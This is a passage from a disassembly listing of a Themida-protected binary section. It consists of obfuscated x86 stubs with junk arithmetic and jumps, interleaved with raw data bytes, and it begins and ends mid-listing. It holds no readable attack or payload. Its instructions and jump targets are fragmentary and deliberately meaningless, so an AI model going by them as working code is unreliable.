81FFFF30h, 3C86242Ch, 4B5B65DEh dd 0EA08EB81h, 60E9FFA2h, 31FFFF52h, 0C33240Ch, 0ABB5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C26: ; CODE XREF: Themida_:0055A3C7j push edx mov edx, 5CA62AB2h and edx, 6FBF2709h shl edx, 8 push eax mov eax, 7ED33F85h neg eax not eax dec eax jmp loc_554708 ; --------------------------------------------------------------------------- loc_561C45: ; CODE XREF: Themida_:0055BFAAj shl cl, 5 xor cl, 0F7h add bl, 0B0h add bl, cl jmp loc_5617B2 ; --------------------------------------------------------------------------- db 0BFh, 0F3h, 0Dh dd 0EF816571h, 65710DEFh, 835FFB01h, 1C8704C3h, 9C7EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C6E: ; CODE XREF: Themida_:00566492j add ebp, eax sub ebp, 0D4618Bh mov eax, [esp] add esp, 4 push ebp push dword ptr [esp+4] jmp loc_555776 ; --------------------------------------------------------------------------- db 5, 0ECh, 18h dd 62D4E3Eh, 5764D40h, 4F90189Ah, 7F55685Ah, 0C890000h dd 4B924h, 572D0000h, 5203172h, 625754BDh, 4268C801h, 0E9000031h dd 1213h, 83952CACh, 1C8904ECh, 0E9BCB724h, 0FFFF420Bh dd 8703E3C1h, 0D3E952D3h, 59FFFF61h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68241C89h, 3555h, 0E9242489h, 32E8h, 0E95DEB31h dd 2AADh, 0D71B0305h, 58C20161h, 4406F281h, 0C281209Fh dd 157EF362h, 2C35E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D1A: ; CODE XREF: Themida_:0055FF33j pop eax push ebx mov ebx, 4 jmp loc_563FEF ; --------------------------------------------------------------------------- dw 8B66h dd 94682404h, 89000007h, 0E589242Ch, 4C581h, 68510000h dd 2, 49506859h, 4890000h, 7867B824h, 0E9567A97h, 0FFFF0AA7h dd 8B2434FFh, 0C4832404h, 4C48304h, 8904EC83h, 0FF542404h dd 81582434h, 4C4h, 40500h, 64680000h, 89000037h, 5556241Ch dd 742E71BDh, 0E9EE8904h, 0FFFFB759h, 87664566h, 664766EFh dd 9DBB6653h, 2033E935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D9E: ; CODE XREF: Themida_:0055F522j xor esi, [esp] mov esp, [esp] mov [esp], eax mov eax, 361377EAh push edx mov edx, 98121B1h jmp loc_555EED ; --------------------------------------------------------------------------- aBIThik db 'É',7,'I+ThëK',0 align 2 dw 2C89h dd 0BD5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DCA: ; CODE XREF: Themida_:00564C2Cj push 46B9h mov [esp], edi push esp pop edi push esi mov esi, 4 sub edi, 2D7F7113h add edi, esi add edi, 2D7F7113h pop esi jmp loc_557C88 ; --------------------------------------------------------------------------- dw 0BD55h dd 27C5F3Ch, 0B722C581h, 0EE310C74h, 0CE9465Dh, 81FFFF8Eh dd 0FFFFFFC7h, 83F781FFh, 18DD6BDh, 243C8BF9h, 23A8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E1A: ; CODE XREF: Themida_:00563FFBj push edi mov edi, 7FE30D15h neg edi and edi, 352C1174h push ecx mov ecx, 4A4A64BDh jmp loc_56127A ; --------------------------------------------------------------------------- loc_561E33: ; CODE XREF: Themida_:00552914j mov ecx, 4D9C30A4h push edx mov edx, 338322E2h sub edx, 1D0EF80Ch xor ecx, edx jmp loc_55C9CD ; --------------------------------------------------------------------------- loc_561E4B: ; CODE XREF: Themida_:00562243j pop eax push edx mov edx, 4 push ebx jmp loc_564904 ; --------------------------------------------------------------------------- dd 0C133E954h, 0C789FFFFh, 8324048Bh, 64E904C4h, 0F7FFFEFAh dd 0C682E9D7h, 0C7FEFFFFh, 0FF3A51E9h db 0FFh ; --------------------------------------------------------------------------- loc_561E79: ; CODE XREF: Themida_:00560252j push edx mov edx, 3AF70D26h jmp loc_5577D7 ; --------------------------------------------------------------------------- dd 0D4E95854h, 81FFFF02h, 0FB71B4E9h, 25E4E955h, 3C8B0000h dd 0BB3CE924h, 0FB01FFFFh, 0FF88C5E9h, 48B66FFh, 9765E924h dd 534AFFFFh, 867C2BBh, 0FAEB813Bh, 0E932C141h, 0FFFFA109h ; --------------------------------------------------------------------------- loc_561EC0: ; CODE XREF: Themida_:00555788j push edx mov dh, al jmp loc_55A054 ; --------------------------------------------------------------------------- dd 86B9515Bh, 8142C74Fh, 2EC2CE9h, 0E9CD2927h, 0FFFF7223h dd 44B9BB53h, 0DD01182Eh, 0E9241C8Bh, 0FFFF8BD8h ; --------------------------------------------------------------------------- loc_561EEC: ; CODE XREF: Themida_:005633E3j push 2806h mov [esp], esi jmp loc_5585D4 ; --------------------------------------------------------------------------- db 29h, 0E8h, 5 dd 79659FBh, 45719E2Dh, 48B02D36h, 0B9E973D6h, 50FFFFA7h dd 0A91E7AB8h, 24448165h, 0E634A104h, 0AEB3E908h, 815DFFFFh dd 0E174E0F2h, 0E9D50940h, 0FFFF4F79h ; --------------------------------------------------------------------------- loc_561F30: ; CODE XREF: Themida_:0055F873j push 6DEBh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 jmp loc_55EDFF ; --------------------------------------------------------------------------- db 34h, 22h, 80h dd 0C32872C3h, 0FF6439E9h, 246C81FFh, 9C1D9704h, 685B5A03h dd 0DD3h, 0E43E9h, 4D02800h, 0F7E95A09h db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F77: ; CODE XREF: Themida_:0055E88Dj add ecx, ebx jmp loc_551819 ; --------------------------------------------------------------------------- dw 248Bh dd 23C8E924h, 8158FFFFh, 4ECh, 3E70E900h, 468FFFFh, 8B000000h dd 0C483242Ch, 0A05FE904h, 0C89FFFFh, 6AF5E924h, 0F9B9FFFFh dd 81292648h, 39E0B4C1h, 8BCB31D8h, 0C483240Ch, 5BDD0104h dd 46856h, 34FF0000h, 0BA49E924h, 2BDFFFFh, 1000000h, 14875DEAh dd 0CD35C24h, 0BE99C24h db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561FE3: ; CODE XREF: Themida_:005573E7j push ecx mov ecx, 4 jmp loc_55EC0A ; --------------------------------------------------------------------------- loc_561FEE: ; CODE XREF: Themida_:005630DCj sub edi, 54993F5Ch shl edi, 7 xor edi, 6D5AB17Bh jmp loc_5654E4 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 146568h, 240C8900h, 442BE9h, 24048B00h, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0EFE9240Ch, 59FFFEFEh, 60E95451h dd 0C1FFFF59h, 2BE907E6h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56203F: ; CODE XREF: Themida_:00560427j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55A5C9 ; --------------------------------------------------------------------------- db 5, 0Ah, 0B9h dd 0C729DED7h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, 240B3C5Ah add ebp, edi sub ebp, 240B3C5Ah pop edi add ebp, 4 xchg ebp, [esp] pop esp mov ecx, edi mov edi, [esp] add esp, 4 add ecx, 6B744A65h push 4B01h mov [esp], ebp mov ebp, 7BA03E7Ch add ecx, ebp pop ebp jmp loc_553573 ; --------------------------------------------------------------------------- dd 0EA00BEB5h, 5AD08859h, 88C7B050h, 24048BC7h, 4C481h dd 0EF800000h, 10EF80A0h, 288EEF80h, 2C16E9C7h, 2B89FFFFh dd 0FF2434FFh, 835B2434h, 0C48104C4h, 4, 0FF9C00E9h, 2A4968FFh dd 34890000h, 12D5BE24h, 0EE812D12h, 0B60EA292h, 55EF001h dd 0CF76FFDh, 0E056512Dh, 5D82938h, 38E05651h, 0F76FFD2Dh dd 70432D0Ch, 142D7703h, 813D1052h, 4ECh, 24148900h, 2025E9h db 0 ; --------------------------------------------------------------------------- loc_562121: ; CODE XREF: Themida_:0055F839j and ch, bh pop ebx inc ch push small 4E12h mov [esp], ax mov al, ch push ax dec byte ptr [esp] jmp loc_562F8D ; --------------------------------------------------------------------------- loc_56213A: ; CODE XREF: Themida_:00563AA4j pop ebp pop edx push esi mov esi, 7EB23160h jmp loc_55A54B ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 240C8900h, 0FFADDBE9h, 0B9515AFFh dd 38651F81h, 1132E9h, 24348B00h, 0FFC3FFE9h, 133BBEFFh dd 0F6817B4Dh, 0C0312AE7h, 15EF531h, 0B8505DEAh, 7416695Ch dd 2D06E8C1h, 0FFFFFFFFh, 48AB2505h, 58C20104h, 0DA9E9h dd 4C68100h, 81000000h, 4C6h, 24348700h, 0D4E9555Ch db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621AF: ; CODE XREF: Themida_:005593E9j add ebx, eax pop eax xchg ebx, [esp] pop esp sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], edi push 4A5E5BB9h pop edi jmp loc_554D83 ; --------------------------------------------------------------------------- dd 62DC68h, 241C8900h, 0EF80B7B7h, 0E9F8284Eh, 43C7h, 5B2434FFh dd 6804C483h, 1D0Bh, 52240C89h, 0FF1471E9h, 23C680FFh dd 5EE9682Ch db 6, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562203: ; CODE XREF: Themida_:00560736j mov bl, 0EDh add al, 5Eh sub al, bl jmp loc_55A828 ; --------------------------------------------------------------------------- dw 0C781h dd 4838601Ch, 0FF5B6EE9h, 348157FFh, 0C015BA24h, 0BD555B33h dd 33C015BAh, 0FFFACBE9h db 0FFh ; --------------------------------------------------------------------------- loc_56222D: ; CODE XREF: Themida_:0055A389j mov [esp], eax push 7ABh mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_561E4B ; --------------------------------------------------------------------------- dd 0EE9CF31h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56224F: ; CODE XREF: Themida_:00558204j and eax, 17F4540Bh not eax neg eax push ebx mov ebx, 6B045261h or eax, ebx mov ebx, [esp] add esp, 4 sub eax, 0CDC2CDCh jmp loc_56323E ; --------------------------------------------------------------------------- db 8Bh dd 0D1E92424h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56227B: ; CODE XREF: Themida_:00552B81j or eax, 118468F2h xor eax, 6AA23619h sub edi, eax pop eax jmp loc_55C857 ; --------------------------------------------------------------------------- loc_56228D: ; CODE XREF: Themida_:0056550Dj or ecx, edi jmp loc_558D44 ; --------------------------------------------------------------------------- loc_562294: ; CODE XREF: Themida_:0055C29Ej push ecx jmp loc_565B34 ; --------------------------------------------------------------------------- loc_56229A: ; CODE XREF: Themida_:0055CFF3j pop edi mov ecx, [esp] add esp, 4 not ecx xchg ecx, edi push edi jmp loc_564A27 ; --------------------------------------------------------------------------- dw 15Fh dd 41E95DEEh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622B7: ; CODE XREF: Themida_:0055F62Fj xchg ecx, edi jmp loc_55972E ; --------------------------------------------------------------------------- dw 0C889h dd 81240C8Bh, 4C4h, 0FFC70100h, 0E2E92434h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622D3: ; CODE XREF: Themida_:005564D0j push 0F1C4A682h mov edx, [esp] add esp, 4 jmp loc_5542BD ; --------------------------------------------------------------------------- loc_5622E3: ; CODE XREF: Themida_:00566567j push esi sub esp, 4 mov [esp], ebx jmp loc_55D895 ; --------------------------------------------------------------------------- loc_5622EF: ; CODE XREF: Themida_:0056622Aj push ebp mov ebp, 2305F4Fh add edx, ebp pop ebp push dword ptr [edx] jmp loc_55C3C0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 242C3304h, 33242C31h, 0D25C242Ch, 0E99C243Ch dd 0FFFEF3D6h, 370476B8h, 22EB8117h, 0E954E36Ah, 0FFFF2D1Fh dd 2C8BEF89h, 4C48124h, 81000000h, 4E11D6C6h, 81C6814Bh dd 118CD08h, 4EC81FEh, 89000000h, 89BD242Ch, 4D08FD2Bh dd 2309F581h, 0BA521030h, 0C9D18B4h, 0E905E2C1h, 0FFFFC5BAh dd 0FFEE8366h, 0E1BF6657h, 6014E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562372: ; CODE XREF: Themida_:00564426j push eax mov eax, 2ED11540h not eax shr eax, 8 jmp loc_55F964 ; --------------------------------------------------------------------------- loc_562382: ; CODE XREF: Themida_:0055E7EEj push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 or ebx, ebx jnz loc_5518F6 push eax mov eax, esp push edx mov edx, 17F97BF6h shr edx, 7 and edx, 5FF067DDh add edx, 0FFDF9D2Fh add eax, edx pop edx sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebx push ebp jmp loc_5616AA ; --------------------------------------------------------------------------- db 0BBh, 0D4h, 44h dd 0F7E96250h, 5DFFFFC8h, 1D43EE81h, 335B5DBBh, 34312434h dd 24343324h, 0D324248Bh, 0FFE92424h, 87FFFEF2h, 81D3F7CBh dd 5866E6EBh, 315AE910h, 77FFFFFFh, 19589D1Ch, 0E99C2404h dd 0FFFEF2E2h, 5C5C68h, 17FDE900h, 0D501FFFFh, 0FEFD9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56241D: ; CODE XREF: Themida_:0056124Dj mov edi, 58A44CFEh jmp loc_5585E1 ; --------------------------------------------------------------------------- loc_562427: ; CODE XREF: Themida_:0055B886j pop ebx jmp loc_557AC3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aH9 db '$h~9',0 align 2 dw 1C89h dd 24E95424h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56243F: ; CODE XREF: Themida_:00564475j add esi, 4 push ebp jmp loc_558123 ; --------------------------------------------------------------------------- db 88h dd 8B5A59CBh, 0C481240Ch, 4, 34FFDA28h, 0C4815B24h, 4 dd 0FF6906E9h db 0FFh ; --------------------------------------------------------------------------- loc_562469: ; CODE XREF: Themida_:0055B36Fj add edi, 6E79EDCh jmp loc_55DEA1 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFEAC5h ; --------------------------------------------------------------------------- loc_56247C: ; CODE XREF: Themida_:00558613j add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg eax, ecx inc eax not eax xor eax, 48DF5A35h xor edi, eax mov eax, [esp] add esp, 4 push edi pop esi push dword ptr [esp] pop edi sub esp, 4 mov [esp], esi jmp loc_5648C4 ; --------------------------------------------------------------------------- db 0BEh dd 6E719ABh, 0FF09D7E9h, 240483FFh, 0C2815A04h, 4, 2D7FE9h dd 24348B00h, 4C481h, 0FE890000h, 81243C8Bh, 4C4h, 24740100h dd 148B5E04h, 0D3EDE924h, 0F381FFFFh, 2006D57h, 15BD989h dd 0B1E959C8h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5624FB: ; CODE XREF: Themida_:0055A50Dj mov edx, 47F43681h add ecx, edx pop edx push 25ABh mov [esp], ecx xchg ebp, [esp] not ebp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop ecx push edi mov edi, 793103C6h not edi sub edi, 9BA52705h xor ecx, edi mov edi, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx xor eax, edi xor edi, eax jmp loc_55AF9A ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0AFh dd 53FFFF01h, 4BBh, 5BDE0100h, 0E904C683h, 0FFFF7C18h ; --------------------------------------------------------------------------- loc_562560: ; CODE XREF: Themida_:00566352j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55E43A ; --------------------------------------------------------------------------- loc_56256E: ; CODE XREF: Themida_:005578B7j add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55B47A ; --------------------------------------------------------------------------- db 81h dd 4C6h, 24343300h, 0FF6A60E9h db 0FFh ; --------------------------------------------------------------------------- loc_56258D: ; CODE XREF: Themida_:00555B05j sub edi, 30D04180h add edi, 80EE961Ch sub esi, edi pop edi pop eax and eax, esi mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 push 586Ah mov [esp], esi jmp loc_55B624 ; --------------------------------------------------------------------------- db 5Eh dd 476FC681h, 0F101EACCh, 0FF616AE9h, 4EC83FFh, 0FFEBE3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5625D1: ; CODE XREF: Themida_:00553506j push ebx mov ebx, 450157D6h xor eax, ebx pop ebx pop edi push ebp mov ebp, esp push edi push 57144A69h jmp loc_563CBA ; --------------------------------------------------------------------------- db 0B9h, 0B5h, 7Fh dd 0BA521BF4h, 73D3511Dh, 0FFD501E9h, 0E9E828FFh, 0FFFF9158h dd 55FF801h, 3645719Eh, 9659FB2Dh, 0F8E7E907h, 0C483FFFFh dd 0E9C33002h, 0FFFF5D56h ; --------------------------------------------------------------------------- loc_56261C: ; CODE XREF: Themida_:00556A1Bj shl ebp, 6 shl ebp, 8 not ebp jmp loc_55EF29 ; --------------------------------------------------------------------------- loc_562629: ; CODE XREF: Themida_:00555580j mov edx, ecx pop ecx and ecx, edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 push edx push ebx push 0E655F2Ah pop ebx add ebx, 2BF30CB0h jmp loc_554FED ; --------------------------------------------------------------------------- loc_56264D: ; CODE XREF: Themida_:00553919j xor ecx, [esp] xor [esp], ecx jmp loc_559372 ; --------------------------------------------------------------------------- dd 2BEh, 8BF10100h, 0C4832434h, 4D28E904h, 0DE01FFFFh dd 5F77C681h, 315B4F52h, 2434FFF0h, 5024348Bh, 0FF8CA8E9h dd 0E9CA89FFh, 0FFFF6307h ; --------------------------------------------------------------------------- loc_562688: ; CODE XREF: Themida_:0055457Ej mov ebx, esi pop esi neg ebx shl ebx, 4 jmp loc_55A086 ; --------------------------------------------------------------------------- loc_562695: ; CODE XREF: Themida_:00562FE6j add esi, 4 jmp loc_556FD6 ; --------------------------------------------------------------------------- dd 79E055Eh, 0A3E93C02h, 0F7FFFFBBh, 3C26E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626B2: ; CODE XREF: Themida_:0055A90Ej add esp, 4 push 6C6Dh mov [esp], eax mov al, dl jmp loc_56536B ; --------------------------------------------------------------------------- dd 0D9FBEB81h, 0D929E34Eh, 0BAE9575Bh, 83000006h, 42E901EEh dd 81FFFF28h, 5B5426EAh, 95EA8143h, 5B17173Fh, 4C281h dd 14870000h, 3E52E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5626F6: ; CODE XREF: Themida_:00553DADj mov [esp], edx push ecx push edx mov dl, al mov ch, dl pop edx jmp loc_554C30 ; --------------------------------------------------------------------------- loc_562705: ; CODE XREF: Themida_:005651B3j shl ebx, 1 xor ebx, 60AB0194h sub ebp, ebx pop ebx push edi mov edi, 7A1D7778h not edi shl edi, 3 or edi, 4915A12h jmp loc_55CF54 ; --------------------------------------------------------------------------- dw 0D2F7h dd 0FF1370E9h, 0B8EB81FFh, 1698B24h, 0B8C381EBh, 0E9698B24h dd 0FFFF7043h, 8DBAF181h, 0CB01B36Eh, 8B2434FFh, 0C481240Ch dd 4, 8704C483h, 248B241Ch, 3CD36624h, 87E99C24h, 59FFFEEFh dd 3374E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56276E: ; CODE XREF: Themida_:00553E64j and edi, ebx jmp loc_557DB8 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 3647E581h, 0EDC13D78h, 0D4ED8103h, 0C10BB531h, 0F58108EDh dd 311C6F4Ah, 89EE8956h, 49E95EF2h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56279B: ; CODE XREF: Themida_:00563D94j dec ch not ch jmp loc_554BA1 ; --------------------------------------------------------------------------- dd 908BB53h, 0DE97188h, 89FFFF36h, 24148BD0h, 0E904C483h dd 0FFFFB4BAh ; --------------------------------------------------------------------------- loc_5627BC: ; CODE XREF: Themida_:0055C55Fj mov ebx, 0FF7EFD6Ch add ecx, 72190C76h sub ecx, ebx sub ecx, 72190C76h pop ebx add edi, ecx pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_565583 ; --------------------------------------------------------------------------- loc_5627E4: ; CODE XREF: Themida_:00559C03j push dword ptr [edx] push dword ptr [esp] mov eax, [esp] jmp loc_55421B ; --------------------------------------------------------------------------- db 0B8h, 0E5h, 28h dd 89E9099Eh db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5627FB: ; CODE XREF: Themida_:005647DAj inc ebp jmp loc_55ECA8 ; --------------------------------------------------------------------------- loc_562801: ; CODE XREF: Themida_:005585B1j pop esp push edi sub esp, 4 mov [esp], ebp push 31F4h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_55ACC5 ; --------------------------------------------------------------------------- loc_562821: ; CODE XREF: Themida_:005658C3j pop edx jmp loc_55C946 ; --------------------------------------------------------------------------- loc_562827: ; CODE XREF: Themida_:00559013j sub ebx, 7ECD2CE0h jmp loc_55D0F1 ; --------------------------------------------------------------------------- loc_562832: ; CODE XREF: Themida_:0055C0C7j and ebx, 7E95718h sub ebx, 55FC4F4Dh sub ebx, 0A545DE68h mov edx, ebx pop ebx and edi, edx mov edx, [esp] add esp, 4 jmp loc_55731B ; --------------------------------------------------------------------------- loc_562857: ; CODE XREF: Themida_:0055AD49j add ebp, 4 sub ebp, 4 jmp loc_55E629 ; --------------------------------------------------------------------------- loc_562865: ; CODE XREF: Themida_:0055F28Ej pop eax sub edi, ebx jmp loc_55C174 ; --------------------------------------------------------------------------- loc_56286D: ; CODE XREF: Themida_:0055AF95j add bl, 0C8h add bl, ah sub bl, 0C8h mov eax, [esp] add esp, 4 jmp loc_55B5E9 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D259h, 0EE5CE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562892: ; CODE XREF: Themida_:0055FAA9j add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebx xor dword ptr [esp], 1856CB0h push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 1856CB0h xor eax, ebx pop ebx sub esp, 4 jmp loc_55CA3B ; --------------------------------------------------------------------------- db 5 dd 4EDD12A5h, 1D83E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebp, 794B2A8Ah add ebp, ebx push edx sub esp, 4 jmp loc_555C4D ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815924h, 4, 2474FF53h, 241C8B04h, 8F04C483h, 248B2404h dd 2434FF24h, 0FF408FE9h, 240489FFh, 0FFA618E9h, 48E951FFh dd 81FFFF93h, 221D6CEEh, 0AF29E9DEh, 0E901FFFFh, 0B25E95Dh dd 0CF80FFFFh, 0F3F7800Eh, 2856C280h, 56EA80FAh, 0E9CAFE5Bh dd 0FFFEEFE1h, 35E9C201h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56295F: ; CODE XREF: Themida_:0055432Aj add edi, 4 add edi, 4 xchg edi, [esp] pop esp add bl, 0A4h jmp loc_557BE0 ; --------------------------------------------------------------------------- db 0C1h dd 0DBF703E3h, 7E8CC381h, 0C3812B48h, 0BB333880h, 15BDE29h dd 24348BF1h, 0F704C483h, 71BA52D9h, 0C1394D09h, 0DAF707E2h dd 0FF337EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5629A5: ; CODE XREF: Themida_:00552A80j push ebx mov ebx, 7EE40B1Bh and ebx, 6FC25285h and ebx, 4C826CB7h and ebx, 46A46F15h or ebx, 7BF653D3h xor ebx, 2BBFC3B9h sub ecx, ebx pop ebx add eax, ecx mov ecx, [esp] add esp, 4 xor eax, 46D417EFh mov ebx, eax pop eax jmp loc_559010 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax jmp loc_560A87 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 5D4A68h, 243C8900h, 4BFh, 2991E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A12: ; CODE XREF: Themida_:00552B01j pop esp mov [esp], ecx push 4 pop ecx sub edx, 70D425Bh add edx, 3808442Fh add edx, ecx push ebp mov ebp, 60876F5h shl ebp, 1 jmp loc_554EB0 ; --------------------------------------------------------------------------- db 57h dd 0FF8348E9h, 0E9EB30FFh, 0FFFF3174h ; --------------------------------------------------------------------------- loc_562A44: ; CODE XREF: Themida_:00552B48j xor ebp, ecx jmp loc_553756 ; --------------------------------------------------------------------------- loc_562A4B: ; CODE XREF: Themida_:00566C9Dj pop esp shr esi, 6 not esi add esi, 3199172Ch mov edi, esi mov esi, [esp] add esp, 4 and edi, 53FC4361h and edi, 42742E04h push eax mov eax, 3ABB62DDh xor eax, 3D557343h add eax, 28C036F6h or eax, 63F917F5h jmp loc_5591F9 ; --------------------------------------------------------------------------- dd 1CB2F681h, 0DF686CA2h, 8900004Bh, 30BD242Ch, 8101197Ch dd 5089EDh, 3246E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_562AA6: ; CODE XREF: Themida_:00565E0Fj shr edx, 4 dec edx dec edx sub edx, 37AF57D4h inc edx jmp loc_5580A1 ; --------------------------------------------------------------------------- db 0C0h dd 0CD8006EDh, 0F7BCE9FBh, 6658FFFEh, 23EA805Bh, 0E9CCC280h dd 0FFFFE381h, 466D68h, 62706800h, 52E90000h, 53FFFFCAh dd 70A3F5BBh, 5BDE31DCh, 0FF9D46E9h, 241487FFh, 242C8B5Ch dd 5504C483h, 87241487h, 0C4A3E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B02: ; CODE XREF: Themida_:00566637j add eax, 0FFFFFFFFh sub esp, 4 mov [esp], esi mov esi, 7CD06392h xor eax, esi mov esi, [esp] add esp, 4 jmp loc_559C62 ; --------------------------------------------------------------------------- loc_562B22: ; CODE XREF: Themida_:00558949j push 75A2h mov [esp], ecx mov ecx, 510566C6h and ecx, 55F44002h dec ecx shl ecx, 6 jmp loc_55D98B ; --------------------------------------------------------------------------- loc_562B3E: ; CODE XREF: Themida_:0055C0B9j push esp pop esi sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_556FDC ; --------------------------------------------------------------------------- loc_562B51: ; CODE XREF: Themida_:00557EC4j mov ebp, 4 add ecx, ebp pop ebp jmp loc_566562 ; --------------------------------------------------------------------------- a4rhT db '4àh&T',0 dd 240C8900h, 0FFEE37E9h, 4C483FFh, 46852h, 0E95A0000h dd 0FFFF2696h, 8324148Bh, 42E904C4h, 58FFFF9Ah, 37E9D301h dd 0BBFFFFF5h, 2CCB0DEFh, 0FF4356E9h, 21685AFFh, 89000019h dd 0C8E9241Ch, 8B00001Ah, 0C483242Ch, 7004E904h, 8147FFFFh dd 0A721B4EFh, 2AEF8122h, 316DDF14h, 0D1095FFAh, 96BD555Ah dd 817BB026h, 1C5h, 8FE58100h, 45299954h, 85DDED81h, 0E929AC12h dd 59C8015Dh, 4BB53h, 0D8010000h, 2404335Bh, 33240431h dd 0E95C2404h, 0FFFEEAF2h, 50EE295Ah, 0FEFFA0E9h, 5FFA31FFh dd 215AD601h, 24348BF2h, 56E28952h, 0FFA6A2E9h, 0F3685CFFh dd 89000014h, 0EC81242Ch, 4, 24048F54h, 4240481h, 5D000000h dd 519368h, 241C8900h, 421306BBh, 2EB814Dh, 814D4213h dd 4E08E1EDh, 0E9DD0137h, 3413h, 5127F380h, 0D5F6F9B5h dd 0E901C580h, 0FFFF57ACh, 5C243487h, 0BA241489h, 7DBB5E43h dd 295AD001h, 6C7DE9D8h, 77FFFFFFh, 59669D1Ch, 241CD366h dd 0EA64E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562C8A: ; CODE XREF: Themida_:005635F6j mov [esp], ecx xchg eax, [esp] not eax xchg eax, [esp] pop ecx jmp loc_55557A ; --------------------------------------------------------------------------- db 1 dd 0BEA81C2h, 0E9165B7Eh, 0FFFF9E14h ; --------------------------------------------------------------------------- loc_562CA8: ; CODE XREF: Themida_:00558D5Dj push ecx mov ecx, 45A8200Bh sub ecx, 45D51CAEh sub ecx, 1A127C18h add ecx, 1 xor ecx, 837BEC13h or ebp, ecx pop ecx push edi push 15BFh jmp loc_566C83 ; --------------------------------------------------------------------------- loc_562CD4: ; CODE XREF: Themida_:00565CA2j sub esp, 4 jmp loc_556C36 ; --------------------------------------------------------------------------- loc_562CDC: ; CODE XREF: Themida_:00564E73j pop esp mov [esp], ebx jmp loc_563469 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 0E9243C31h, 0FFFF067Dh ; --------------------------------------------------------------------------- loc_562CF0: ; CODE XREF: Themida_:00562D06j push 62C4303h jmp loc_5556D4 ; --------------------------------------------------------------------------- loc_562CFA: ; CODE XREF: Themida_:005665DCj pop esp mov [esp], edx push 1B5h mov [esp], ecx jmp loc_562CF0 ; --------------------------------------------------------------------------- db 58h dd 0DD12A52Dh, 0E9F0014Eh, 0FFFFFBB7h, 88D88850h, 0FDA0E9C5h dd 0BD55FFFFh, 4, 29E8C381h, 0C381431Ch, 185B0757h, 24FFE9h db 0 ; --------------------------------------------------------------------------- loc_562D39: ; CODE XREF: Themida_:005518CAj push ebx mov bl, 0BCh inc bl and bl, 47h add bl, 62h add al, bl pop ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] jmp loc_5655EC ; 